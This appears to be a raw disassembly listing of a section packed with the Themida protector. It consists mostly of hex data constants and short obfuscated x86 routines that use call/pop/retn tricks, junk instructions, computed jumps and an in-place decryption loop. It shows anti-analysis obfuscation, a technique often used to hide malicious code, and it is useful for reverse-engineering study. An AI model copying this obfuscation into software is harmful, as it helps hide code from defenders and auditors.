0FC9056Fh, 0F9635715h, 5D08A0F6h, 5E8921EBh, 0E28D47D8h dd 0E9A44971h, 9802506Fh, 0A705FFB5h, 8A797409h, 0D72D3092h dd 6622943Fh, 2BB70F35h, 62EB76E0h, 0F79C5FF0h, 0E94D5E86h dd 8B1F6D6Fh, 0A314E67Ch, 6FE93A7Bh, 329C3482h, 0FB5102BFh dd 0C2C51369h, 0FB2F4571h, 0EC655B75h, 0FB2F537Bh, 740C5A75h dd 5DC7BB71h, 90C6C65h, 9D0CECA5h, 342E04C7h, 861E7C76h dd 72992D83h, 58132923h, 5535D640h, 30042A81h, 4071DEh dd 3FC80000h, 0FB84A6CEh, 0FD67B575h, 8C865CC1h, 28017132h dd 0FD9542FCh, 0BD3AA4FAh, 178833CEh, 69FBAA16h, 3D65D637h dd 4C75FB96h, 126366FEh, 75FB96E6h, 9165451Eh, 0DE300A3Ah dd 0C081h, 865C2700h, 0E6BE2892h, 0D58B8EECh, 0BF7578E0h dd 0FB6467C5h, 0C5C83025h, 332D056Fh, 0ADAC37D5h, 676FE902h dd 81710F6Dh, 0CB262987h, 259641C0h, 69FB286Ch, 1CB14F9Dh dd 572D9611h, 0A9E00F8h, 0EA2E0F7h, 0D9E769B6h, 47F28AFEh dd 0FE440D6h, 0D681CF70h, 9CB4DC4Dh, 6DBB6FEFh, 9C2951C2h dd 0E2306FEFh, 2217ED78h, 372C1CBAh, 0E117B6Fh, 15D818BCh dd 962E7A79h, 0A840AA9Eh, 439C4EB6h, 41E6C979h, 1DEh, 0D472DED1h dd 0E886F0E4h, 9E00F8h, 16B41A10h, 2BC93126h, 0FCF163BEh dd 0F06F694h, 241D0DABh, 3C3626C4h, 0E04140DEh, 320476Fh dd 0F1435676h, 14B21A0Fh, 2ECC2A24h, 0E0636ADAh, 11C3C435h dd 0FC4A69FBh, 1E7CA8F9h, 999275FBh, 0BFE43639h, 2C8AEEA2h dd 0C933271Fh, 0D2B269C6h, 0D4B48D63h, 24827C52h, 0E00879h dd 0A1EF75FCh, 74035A37h, 0B04ADE30h, 0F0000000h, 2B8F865Ch dd 91EFE9C1h, 574F258Eh, 329CF2F5h, 0FAFD655Ah, 0E902AAA9h dd 12706A6Fh, 2C8A8474h, 44DFCE29h, 403A1099h, 4C0578E2h dd 7D69FB29h, 0F1FC912Fh, 2DC6EE5Fh, 27D575FBh, 9E36CE2Eh dd 0D44B82F3h, 452700Fh, 268E8359h, 5CB8097Bh, 35FE02EFh dd 0D4AA4DCBh, 0BC261ADCh, 3ECF2124h, 0A8C26DE8h, 9B73DD75h dd 0A64C3EA6h, 557943CAh, 0F0CD72h, 0CCBF0000h, 0DED2C260h dd 0EEE6D674h, 8FEEE8Ch, 1F1404A2h, 4DAC19B7h, 0E482EADFh dd 0FB99FDF4h, 14B2120Bh, 2ECC2A24h, 355DCE2Fh, 44760321h dd 1A0FDF31h, 2A2414B2h, 0FDA2ECCh, 0FA625715h, 0AFA95F62h dd 98F8F1h, 43DECD62h, 0DF12798h, 9A7069F3h, 0F6D53FA3h dd 0EAED5148h, 90F9FC94h, 0DD55AC1Eh, 309A6EEDh, 62005E58h dd 6B6036BFh, 17AA0003h, 7603BAEFh, 9405B0FEh, 7603BA6Ch dd 0E3BB2573h, 0CE362BE9h, 41CA3336h, 3BAA8D0h, 0FF69B776h dd 115EF58Ch, 0E1C17842h, 665A1812h, 0BA3F9FCh, 30928A60h dd 72DC4238h, 0AC0A04F4h, 46B740A9h, 0C1EE251Eh, 25E81081h dd 0A9F7C1EEh, 1AF25CAAh, 5BBBE24h, 0EFA5A810h, 318E91FBh dd 922B9A7Ah, 2A24F3D3h, 443E2ECCh, 0F3EE3E6h, 9D000000h dd 696CD0C7h, 5356BEB3h, 0BFFB65FDh, 1C0F5995h, 0FDF7ADB0h dd 0EDE69C9Fh, 0DDD48A8Dh, 0CBC07679h dd 0B5AA6063h, 9E944A4Dh, 877F3538h, 786C2225h, 574D0B0Eh dd 0BB53E789h, 4, 835BDF01h, 3C8704EFh, 0AA685C24h, 89000007h dd 8956241Ch, 4C681E6h, 81000000h, 4EEh, 24348700h, 2434895Ch dd 0BAFBE56h, 0F389061Ah, 8324348Bh, 0EC8304C4h, 24248904h dd 4240483h, 3481535Eh, 0D0238224h, 8468F10h, 2382BD55h dd 6E3110D0h, 348B5D08h, 0E0895024h, 405h, 4C08300h, 5C240487h dd 5B2434FFh, 0E904C483h, 0FFF863BDh, 29243FCAh db 76h ; --------------------------------------------------------------------------- loc_5C865D: ; CODE XREF: Themida_:005C7548j mov eax, 61A1BC5h add eax, ebp jmp eax ; --------------------------------------------------------------------------- sub edx, esp retf ; --------------------------------------------------------------------------- db 79h, 8Ch, 56h ; --------------------------------------------------------------------------- mov edx, 0B6500D38h xor cl, [ebp+1A1D388Dh] push es jnb loc_5C8684 sub edx, 584116E1h loc_5C8684: ; CODE XREF: Themida_:005C8678j xor di, 2EC4h mov [ebp+61209A1h], ecx movzx esi, cx mov dword ptr [ebp+6120505h], 5D00h jmp loc_5C86B5 ; --------------------------------------------------------------------------- db 5, 19h, 2Eh dd 0C60B6867h, 0BDF6AA4Fh, 0AAEEEC51h, 0D67B2BAFh db 71h ; --------------------------------------------------------------------------- loc_5C86B5: ; CODE XREF: Themida_:005C869Cj mov dword ptr [ebp+6121BD9h], 0 or [ebp+612093Dh], eax push dword ptr [ebp+61213DDh] push 0 push ebx call sub_5C86D6 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C86D6 proc near ; CODE XREF: Themida_:005C86CEp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 17h inc ebx push ebx retn sub_5C86D6 endp ; --------------------------------------------------------------------------- xor al, [edx] lodsb dec esi jmp loc_5C8703 ; --------------------------------------------------------------------------- db 0EFh dd 0CF145C9Fh, 0F0A2D446h, 3AB9CBD3h, 0E549398Bh db 0A9h, 0E6h, 98h ; --------------------------------------------------------------------------- loc_5C8703: ; CODE XREF: Themida_:005C86EAj call dword ptr [ebp+6121B31h] push 0 push ebx call sub_5C8714 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C8714 proc near ; CODE XREF: Themida_:005C870Cp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Bh inc ebx push ebx retn sub_5C8714 endp ; --------------------------------------------------------------------------- dd 8501C5C5h, 3CEEA63Ch, 13E9h, 0D450BB00h, 0BF1862C4h dd 96DC0FB0h, 78CF66F4h, 0B6243649h, 6AFCE380h, 0CD95FF00h dd 8B061219h, 0F918EBC0h, 0B95DA55Dh, 2E624A14h, 0D4915A3Ah dd 557335D7h, 3806D094h, 8D3A316Fh, 1A1E438Dh, 0C5B58906h dd 8906122Ch, 1217599Dh, 0A18D8906h, 6A061209h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h dd 662C350h, 585C73Ah, 0CC061205h, 5700006Dh, 22ADB529h dd 0C75A0612h, 121BD985h, 6, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 0F5BC494Eh dd 0AE9h, 971D9200h, 29FF1F5Fh, 0F838574Fh, 1FC9B5FFh dd 0BE80612h, 30000000h, 3276B79Ah, 0D8AC7415h, 0EE9BDA3h dd 83000000h, 0D19C19F3h, 5270BDCFh, 0A4E713h, 95FF5AC6h dd 6121B31h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 16h, 19C35343h, 13E99C7Bh, 1A000000h, 32B532D6h, 4BFA1BD2h dd 9AFB91h, 0FF921F1Ch, 6AE0E2h, 19CD95FFh, 0C08B0612h dd 250A3AEBh, 88A77652h, 69BF8737h, 0A31105A7h, 0BDA7D144h dd 399A2AD8h, 392DF69Ah, 0E486368Bh, 9FEE9B08h, 0A7CBA145h dd 651C4647h, 1688801Dh, 87E0C55Ah, 0C878688Eh, 2EFB4599h dd 10EBh, 3 dup(0) dd 0C08B0000h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Dh, 6FC35343h, 7B67473Eh, 409BAAD2h, 5AF9523Fh, 1B91BD83h dd 75000612h, 0DDBD8309h, 61217h, 53501974h, 2DB8C08Bh dd 89000004h, 12008585h, 0F9D8D06h, 0FF0614AEh, 83585BD3h dd 1217DDBDh, 17740006h, 2DB85350h, 89000004h, 12008585h dd 0FE9D8D06h, 0FF0614AAh, 66585BD3h, 6AF7F9BAh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h dd 8982C351h, 122DC185h, 0D58D0906h, 8B061210h, 299589C0h dd 8B06121Dh, 1226C98Dh, 11E85606h, 5C000000h, 9D59CBB3h dd 0C5F186BDh, 5B692BB5h, 25497930h, 5EF2B70Fh, 0F9835Ah dd 68840Fh, 0BF0F0000h, 3D8B64F6h, 2Ch, 14E9h, 0D1450F00h dd 0D3C93C36h, 55AD9032h, 0B316436Eh, 0D0494A65h, 890F60E5h dd 6, 810Fh, 10E90000h, 0AC000000h, 99964B61h, 8D8DBFCBh dd 5C3139E3h, 610B2766h, 840FFF0Bh, 1Ah, 0F3B70F57h, 0F28B665Ah dd 85293F8Bh, 61218A5h, 8D89C032h, 61215F5h, 4935AAF3h dd 6A535041h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 14042444h, 42000000h, 33C1C352h, 122F89B5h, 7185C606h dd 47061228h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 14h, 0C5C35646h, 1859D89h, 0BE660612h, 1E6824F1h, 50A73F1Ah dd 28A0F52h, 53000000h, 52310F5Eh, 5A5ED18Bh, 24348158h dd 7BE99232h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 19h, 0E8C35040h, 282323CCh, 2870F5Ch, 53000000h, 0E9B5FF5Ah dd 89061230h, 12004D8Dh, 35858D06h, 0F06157Fh, 486h, 0C8BE6600h dd 0B2D0FFE5h, 0E9858980h, 6A06121Bh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0DC11C352h dd 0E641CDF0h, 8BBDBAA0h, 958B0A1Fh, 6121085h, 287185C6h dd 6A530612h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1C042444h, 41000000h, 2936C351h, 0F534D500h, 0F9752ECh dd 48Dh, 41BA6600h, 0BF6F6815h, 8B66DD72h, 243481D7h, 55EAD593h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 9BC35242h dd 35D87E9Eh, 9CF0A57Eh, 10ED9523h, 0B5FF0612h, 61230E9h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0F6C35545h dd 0D487162Fh, 0FBCB253Dh, 4819503h, 858D0612h, 6157F35h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 8BC35545h dd 0A5EB1428h, 6C4C559Bh, 51958989h, 0FF061203h, 0D2BF0FD0h dd 3BF9858Dh, 8D0F0615h, 6, 1085958Bh, 85890612h, 61214A5h dd 9D958960h, 8B061218h, 1229758Dh, 206A6106h, 95FFFF6Ah dd 61214A5h, 50414935h, 9985C753h, 1061200h, 0C7000000h dd 12007185h, 6, 0DDB58900h, 8B061204h, 120E11B5h, 0A9858B06h dd 64061216h, 0A3h, 39BE6600h, 99BD83D4h, 6120Dh, 6F840Fh dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h dd 56460000h, 75DD9EC3h, 85BCF94Ah, 870FD289h, 3, 8BF0BF0Fh dd 12180D85h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1504h, 0C3524200h, 8A0FEAE8h, 7, 1890Fh, 8BF50000h dd 60E08BD1h, 289B58Bh, 0B5890612h, 6121DA9h, 79BD8361h dd 61216h, 3BC850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 140424h, 50400000h, 8A0FD7C3h, 0 ; --------------------------------------------------------------------------- mov byte ptr [ebp+6122871h], 56h and dl, 38h push 4593D58Ch pusha mov eax, esi popa add dword ptr [esp], 64315B53h push 0 push ebp call sub_5C8CDD and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C8CDD proc near ; CODE XREF: Themida_:005C8CD5p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ch inc ebp push ebp retn sub_5C8CDD endp ; --------------------------------------------------------------------------- db 0E9h, 0CAh, 73h dd 57A2A5E0h, 0B5FFC5B5h, 61230E9h, 1790EE81h, 858D4474h dd 6157F35h, 2F159523h, 0D0FF0612h, 3359FBBAh, 0D5958B36h dd 50061209h, 5E956h, 0DC440000h, 5E21BCB5h, 0F240489h dd 8D8DD1BFh, 6120A11h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 18h, 0A9C35242h, 6A2BA051h, 5B98D89h, 60910612h dd 0BD20B866h, 59616050h, 46B65061h, 0D0BF0F91h, 6A046Ah dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 276455C3h, 0D11BBF69h, 66F6FACCh, 62FDDA81h, 59173C68h dd 0F38B661Eh, 3C243481h, 6A1E5907h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0ED9DC351h dd 0A269F018h, 6E9B1B3h, 0A1000000h, 3319A06Fh, 95B5FF00h dd 6A061208h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1B042444h, 43000000h, 4403C353h, 7060E131h, 360CCDFh dd 12045185h, 599D0106h, 61061211h, 6810Fh, 0B5890000h dd 6120DA5h, 8D0FD0FFh, 5, 0ADA8166h, 95BD8BB6h, 0E8061208h dd 6, 3EAD5B24h, 0B58B3EF5h, 61219C9h, 3C7F035Eh, 8E9h dd 0F45C7F00h, 0C406E464h, 0F8C781C4h, 66000000h, 47C7D18Bh dd 2024h, 2DE5BA60h, 0BD83074Eh, 61A1E84h, 54840F00h, 8B000001h dd 12013995h, 28C78306h, 1B860Fh, 11E80000h, 0F2000000h dd 0DB8F6EE9h, 292981DFh, 6FA8AA41h, 80E8CDA1h, 0EFF7BA66h dd 2E07C75Ah, 6064696Ah, 0A8D78166h, 0CEB70FF5h, 447C761h dd 617461h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 17h, 3C35343h, 6045D8AEh, 0BE9h, 0B6D40A00h, 324B2D08h dd 65116F18h, 61C3B70Fh, 1E8C858Bh, 14E8061Ah, 63000000h dd 9C0ED14Dh, 17E9ADDCh, 7413793Ah, 7CE849B2h, 500ED482h dd 8E8h, 79989A00h, 0B27637A1h, 5E5A5E43h, 0E80C4789h dd 7, 0DB83711Eh, 0B6D316A3h, 858B5AEFh, 61A1E90h, 2C49BD09h dd 0F28B0612h, 6A084789h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 18042444h, 45000000h, 0BB41C355h, 89A4B94Dh dd 122F7995h, 28C78306h, 87DA8166h, 2E07C793h, 0F96E6F63h dd 6870Fh, 95890000h, 6122A3Dh, 660447C7h, 0F006769h, 681h dd 51B58B00h, 8B061219h, 1A1E8885h, 0E2816606h, 47895B89h dd 7DB58B0Ch, 8B061234h, 1A1E8485h, 10E906h, 31D40000h dd 17C0E191h, 6EC387DBh, 1B141801h, 4789E1D4h, 75B52308h dd 5806121Ah, 1D9958Bh, 8D8D0612h, 6122279h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 22C35141h, 51B58BC2h dd 106121Fh, 121C7DB5h, 8B609106h, 61F18AD3h, 88D0F50h dd 56000000h, 8C0Fh, 915A0000h, 0FFD3BF0Fh, 120A11B5h dd 0C868F506h, 509BAC78h, 50310F52h, 0D78B6652h, 6DBE310Fh dd 5A3EC168h, 81585A58h, 97382404h, 81666453h, 0FFDE6BC6h dd 120895B5h, 60D0FF06h, 89F2BF0Fh, 1204DD85h, 0B86106h dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 14042444h, 43000000h, 0F8DC353h, 686h, 0D18D8900h, 0B06122Ah dd 69840FC0h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 5D98C350h, 68A0F0Eh dd 89000000h, 1231618Dh, 6890F06h, 89000000h, 1222AD85h dd 69B5FF06h, 0B6061214h, 3195FF67h, 6A06121Bh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h dd 8222C356h, 8254680Ah, 0D95E153Ch, 6AC08Bh, 3E850h, 58200000h dd 448958C3h, 44810424h, 1C0424h, 50400000h, 835ABCC3h dd 5EE80BBAh, 0BF0F9336h, 91BD83F0h, 6121Bh, 0BD830975h dd 61217DDh, 50197400h, 0B8C08B53h, 42Dh, 22958589h, 9D8D0612h dd 614AE76h, 585BD3FFh, 17DDBD83h, 74000612h, 0B8535017h dd 42Dh, 22958589h, 9D8D0612h, 614AB17h, 585BD3FFh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0BCC35747h, 0BF6CBA4Ah dd 11E8h, 8C570300h, 536DB199h, 28890B01h, 9EEFDF2h, 5EFC843Bh dd 0BE66C08Bh, 0C08B5372h, 1BE9h, 8ABB3700h, 32h, 5 dup(0) ; --------------------------------------------------------------------------- jmp loc_5C96A7 ; --------------------------------------------------------------------------- retn 63CFh ; --------------------------------------------------------------------------- dd 77E1D5C5h, 8FF1E9D9h, 0A50B01F1h, 0BA221707h, 0E250AF1Ch dd 0F7E785EDh, 0EFE9C00h, 2717B515h, 3231CF2Dh, 2E3860D1h dd 34477603h, 0A4150FE2h, 0E9070B33h, 2CC4126Fh, 0F1EAC029h dd 5A4F2791h, 6A6454F2h, 5953090Ch, 4E42F8FBh, 6B6339E4h dd 484BB5A9h, 1575AF2h, 0A057B497h, 74683EC0h, 47B1070Ah dd 7917756Fh, 92309089h, 4649A9A2h, 0B1229990h, 6FE90789h dd 0A7AA4290h, 0DAD1A750h, 251D7376h, 73C9CC2Ch, 0B9886809h dd 0A20C00C0h, 13B1499Fh, 20CB2923h, 0EEF1514Ah, 44AAA098h dd 9E81EB41h, 6665F35h, 0D043AD03h, 6FE907A3h, 39BB9B52h dd 9B056F63h, 1D7A67BEh, 4AAED8h, 93050000h, 3308AA53h dd 0C0FC66A9h, 0B4B7150Fh, 0E9073963h, 4D2DE46Fh, 1D7B2279h dd 169D8h, 0F0F0000h, 45AEB11Bh, 0B9B3796Fh, 6A02585Bh dd 0F84A41D6h, 4BB582BCh, 12157F73h, 0FD00665Ch, 3A09E9A0h dd 4E3EDC46h, 458F654h, 0AFB21A0Fh, 178805F9h, 6FE907EFh dd 9405B0FEh, 6FE9076Ch, 8A8D2573h, 53D5B56Eh, 8B51B8E1h dd 0D92F3292h, 7242C545h, 0D33B3008h, 0ED4B4535h, 87F881EAh dd 6FE99F5Fh, 0DEB6206Eh, 0ED8184E6h, 29B23414h, 66F95B53h dd 6FE99F3Eh, 0B895FF4Dh, 0D81E1971h, 8398h, 1A0F3E00h dd 1F9AFB2h, 883F9C9Fh, 7CE4D9A8h, 0F8C93BDEh, 727AAFD9h dd 0B7368031h, 0D76F5FC4h, 1D87E5DFh, 3DE85045h, 6097367h dd 0FA6346B0h, 62CC2A24h, 2B2E948Ah, 1A1D7B75h, 3067064h dd 8D0FEFA6h, 0E991F41Ch, 15ADFB6Fh, 0B286663Fh, 0D81E0B6Bh dd 4B92h, 0D977E900h, 3D268EC5h, 0FADE953h, 0F9AFB21Ah dd 0E79DA000h, 0D08689F3h, 1A7073DBh, 0C6C92922h, 3CAB8B04h dd 2EFDDD96h, 0DF33D139h, 0AEB11B0Fh, 0E907305Dh, 4A2AE16Fh dd 90EB56C8h, 53E62EA2h, 0AAB50CE9h, 1FCD81Dh, 0A2000000h dd 0B2B5170Fh, 0F9A402FCh, 7D7FF70h, 98E66FE9h, 35F44B2Eh dd 2C8E8655h, 6FF2F98Eh, 2BFA53C4h, 0D52369FBh, 0C4221CD2h dd 0DE3C3626h, 4126C133h, 0A6A5CD3Eh, 66B475FBh, 5B9516D2h dd 93BD0EF1h, 0FB75FB56h, 365ECF58h, 4575FB56h, 0CEC8DF7h dd 47E5433Dh, 0FCFF5D57h, 0EBEE4C46h, 673616CFh, 52BAAF6Dh dd 0C361F94Fh, 2FC977CEh, 136BEDEh, 6A640000h, 0C435E063h dd 69FB347Bh, 0F3C974C2h, 42989BF9h, 453FF5D8h, 5F5949E7h dd 4E48FE01h, 4137EDF0h, 2822D8DBh, 770F736Ah, 0EA802274h dd 3CEB07B9h, 0D64525DEh, 10DFBF78h, 9D615816h, 0A6A941A7h dd 3EA4CC3Dh, 5DAB75FBh, 0F9822DC5h, 0FB3E6088h, 8D216F75h dd 7F1F8E68h, 40BE28F4h, 2FA3F44Bh, 4D3BDEh, 5CE10000h dd 2B2E8C86h, 0F3EE6BD5h, 3C44B560h, 31016F9h, 3961B2B5h dd 47EFE906h, 31E7EA52h, 1781753Bh, 0D0C67C7Fh, 73530C6Ah dd 149D0004h, 0E9067BA3h, 2F9189EFh, 0D778E230h, 0F58483F7h dd 0F8D1D94Ah, 0A589016h, 828D6Ch, 6A3B0000h, 0C435E063h dd 69FB1BAFh, 772D307Eh, 2741F7Dh, 6A299270h, 0ABAD21D9h dd 0C7C792DEh, 5747C52Fh, 0ABFCFF5Dh, 75FB188Ch, 0BF4121DAh dd 199DC536h, 8F0075FBh, 75FB1967h, 0DB292876h, 419F9971h dd 62CCC096h, 191E46B7h, 0DF2D75FBh, 6B62F775h, 1BA42DD8h dd 0FB1982AAh, 0D13B8975h, 533A35Eh, 6164B270h, 0CF40B1ABh dd 6FF13CA7h, 0CDD068B6h, 63D7B776h, 0BD2ED968h, 69FB5702h dd 0D327C513h, 35E0636Ah, 0F32209C4h, 0C3C61469h, 17B5130Dh dd 0CCCF2D27h, 93B87E7Bh, 299E9661h, 73B790B8h, 0B9519FA2h dd 1ACF64B6h, 60CB357Eh, 89127068h, 0B6EC0EBh, 0BA7C7F17h dd 53F26141h, 0F3EDBC9Ch, 0D07F795h, 7D9204AFh, 0BDF12C1Eh dd 0A1573AA4h, 8C4245ABh, 7A303393h, 0C41B1E84h, 1DB62505h dd 0B5AF7E5Eh, 79FFDF7h, 0AD4DEA5Ch, 3B3EA098h, 0D9CE51E5h dd 0A1910F79h, 8BF5E9A7h, 34BF0F3h, 0F9000000h, 1C0F5995h dd 0FDF7ADB0h, 0EDE69C9Fh, 0DDD48A8Dh, 0CBC07679h, 0B5AA6063h dd 9E944A4Dh, 877F3538h, 786C2225h, 564D0B0Eh, 0C681E689h dd 4, 4EE81h, 34870000h, 2C895C24h, 1E3A6824h, 3C890000h dd 16406824h, 0C890000h, 0ADB95124h, 0C12BDA16h, 0E9C102E1h dd 81D1F705h, 956A89C1h, 595F510Bh, 240C8B54h, 5704C483h dd 0B8FBB53h, 5C3137FBh, 8F5B0424h, 71810841h, 0FB0B8F08h dd 2434FF37h, 4C48159h, 8B000000h, 8951243Ch, 4C181E1h dd 83000000h, 0C8704C1h, 72E95C24h, 0B3FFF853h db 8Bh, 0F0h, 82h ; --------------------------------------------------------------------------- loc_5C96A7: ; CODE XREF: Themida_:005C91C4j mov eax, 61A2C11h add eax, ebp jmp eax ; --------------------------------------------------------------------------- dd 638085h, 238169C1h, 758AE33Fh, 7AD43D5h, 4E6A51C9h dd 27F0EFAh, 3D0F26C1h, 34F0FA26h, 4CC806Bh, 27F873E9h dd 779C0155h, 667A9A82h, 7F098CF3h, 4095BC8Eh, 7D2F5F7Ch dd 2E51E5C8h, 5E5EFC6Dh, 58F30464h, 3AA95ABFh, 2D918D8Dh dd 6A061Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h dd 55450000h, 5F9B77C3h, 28B0F73h, 0B6000000h, 0D8BF0FF6h dd 9A18D89h, 81660612h, 0C716B2F6h, 12050585h, 596C06h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h dd 0C3564600h, 0BF607675h, 3AD958Bh, 9D030612h, 612090Dh dd 1BD985C7h, 612h, 860F0000h, 5, 0EC88166h, 69B5FF41h dd 0F06122Dh, 685h, 71BD8900h, 8906121Bh, 12266DB5h, 3195FF06h dd 0FC06121Bh, 95FF006Ah, 61219CDh, 1EEBC08Bh, 4292A877h dd 9134D1B3h, 0CDFE2F2Eh, 0C022EDEFh, 0AB25DD0Eh, 5436B94Fh dd 0D22A40C0h, 9E88923h, 47000000h, 2F19E4DDh, 14083773h dd 68E0Fh, 9D010000h, 6121E89h, 6820F5Ah, 81000000h, 0CD195EE1h dd 0DAC28135h, 6000006Bh, 8E960h, 0CE990000h, 0A1A659E2h dd 0BF0F00E6h, 0BE6161D9h, 0 ; --------------------------------------------------------------------------- jmp loc_5C9827 ; --------------------------------------------------------------------------- db 0A9h, 2Eh, 37h dd 7DB6035Dh, 9A4179F8h, 0CBAA622Eh db 36h, 0C6h, 8Ch ; --------------------------------------------------------------------------- loc_5C9827: ; CODE XREF: Themida_:005C9810j ; Themida_:005C98C5j mov ebx, [edx+esi] jmp loc_5C9839 ; --------------------------------------------------------------------------- db 94h dd 0A561BE40h, 7C560D69h db 0F0h ; --------------------------------------------------------------------------- loc_5C9839: ; CODE XREF: Themida_:005C982Aj sub ebx, 4EA3AADFh cld sub ebx, 0ED53640h mov edi, [ebp+61218BDh] add ebx, 687BAA53h movzx edi, ax push ebx mov ax, di pop dword ptr [edx+esi] movsx edi, cx movsx ecx, bx sub esi, 314BFB25h push ebx mov [ebp+6122BEDh], eax pop eax add esi, 314BFB21h mov [ebp+61210C1h], edi cmp esi, 0FFFF9528h jnz loc_5C98BF jnb loc_5C98A7 jmp loc_5C98A7 ; --------------------------------------------------------------------------- db 0D5h dd 7A12949h, 0A1FF670Bh, 994D9BFDh, 0CF7BE250h db 0C7h, 2Ch, 52h ; --------------------------------------------------------------------------- loc_5C98A7: ; CODE XREF: Themida_:005C9888j ; Themida_:005C988Ej jmp loc_5C98D5 ; --------------------------------------------------------------------------- dd 0B718EAC0h, 38C76BE4h, 0E534C536h, 333E4396h db 3Fh, 57h, 0A8h ; --------------------------------------------------------------------------- loc_5C98BF: ; CODE XREF: Themida_:005C9882j xor [ebp+6122BE9h], ecx jmp loc_5C9827 ; --------------------------------------------------------------------------- dw 138Ah dd 0C688509Fh, 8082307Eh ; --------------------------------------------------------------------------- inc edi loc_5C98D5: ; CODE XREF: Themida_:loc_5C98A7j lea ecx, [ebp+61A2FCFh] mov dx, 5E42h mov [ebp+61209A1h], ecx push 0 push edx call sub_5C98F0 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C98F0 proc near ; CODE XREF: Themida_:005C98E8p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ah inc edx push edx retn sub_5C98F0 endp ; --------------------------------------------------------------------------- dd 99FDBF7Bh, 0C7107860h, 12050585h, 675006h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 1B572814h, 81D0B70Fh, 0EB1BDAF0h, 0D985C716h, 6121Bh dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 18042444h, 47000000h, 0D4A7C357h, 52EDF91Dh, 184D9D8Bh dd 66580612h, 8FDFD881h, 0CD1B5FFh, 6A0612h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1D0424h, 50400000h, 558AA8C3h dd 0CDB69325h, 0F4183B7h, 684h, 0A7D28100h, 896D63F2h dd 120479BDh, 3195FF06h, 6A06121Bh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 2655C355h dd 162C4B27h, 8D0F5B36h, 2, 6AF18Bh, 19CD95FFh, 0C08B0612h dd 0DB1169EBh, 0CA29B0C9h, 17B559B3h, 95A95276h, 0A6809BEAh dd 1A043F6Ah, 0B8DB5A24h, 63863F5Ch, 0FB4DBD3Ah, 0F35B2256h dd 3F1E08F1h, 927C5828h, 17F7426Eh, 83F80788h, 0F36EC510h dd 6E98D91Ah, 47977508h, 10480276h, 0A0068810h, 365F38D6h dd 0BA5731E2h, 9BB1FFF7h, 20F7F5C1h, 0DD29FD8Fh, 0B1E03F26h dd 0F11D5C36h, 0E81984B2h, 0Dh, 5A6A33FBh, 0D6FC3BE1h dd 0A513D8BCh, 9FBF59F3h, 8128D17Fh, 5F3DC1h, 0EFDF8100h dd 6844FC5Bh, 0 dd 5852958h, 0FF06122Eh, 11E80834h, 0E4000000h, 4B0B7BAEh dd 0CC039320h, 609ADBECh, 0B8E31673h, 23C9958Bh, 5B5E0612h dd 1F01B531h, 0C3810612h, 5EA12116h, 8BD9589h, 0EB810612h dd 5D68AF14h, 0EE9h, 0A69C1800h, 859DF1CEh, 6D96080h, 81FC98A7h dd 4BFC09C3h, 0F2816602h, 0B536083h, 121D0D95h, 1048F06h dd 651B589h, 0E8830612h, 0D6805101h, 48485FCBh, 31B58948h dd 8106120Ch, 0FFA174F8h, 7C850FFFh, 8BFFFFFFh, 1234D995h dd 0C38D8D06h, 89061A31h, 121D45BDh, 0A18D8906h, 6A061209h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h dd 41000000h, 5086C351h, 0E5C081C9h, 0C7572DFFh, 12050585h dd 6AB406h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1A04h, 0C3574700h, 5E3B1B99h, 660B49E7h, 0C71855BEh dd 121BD985h, 6, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1804h, 0C3554500h, 0C7BC7346h, 0F1BD0173h dd 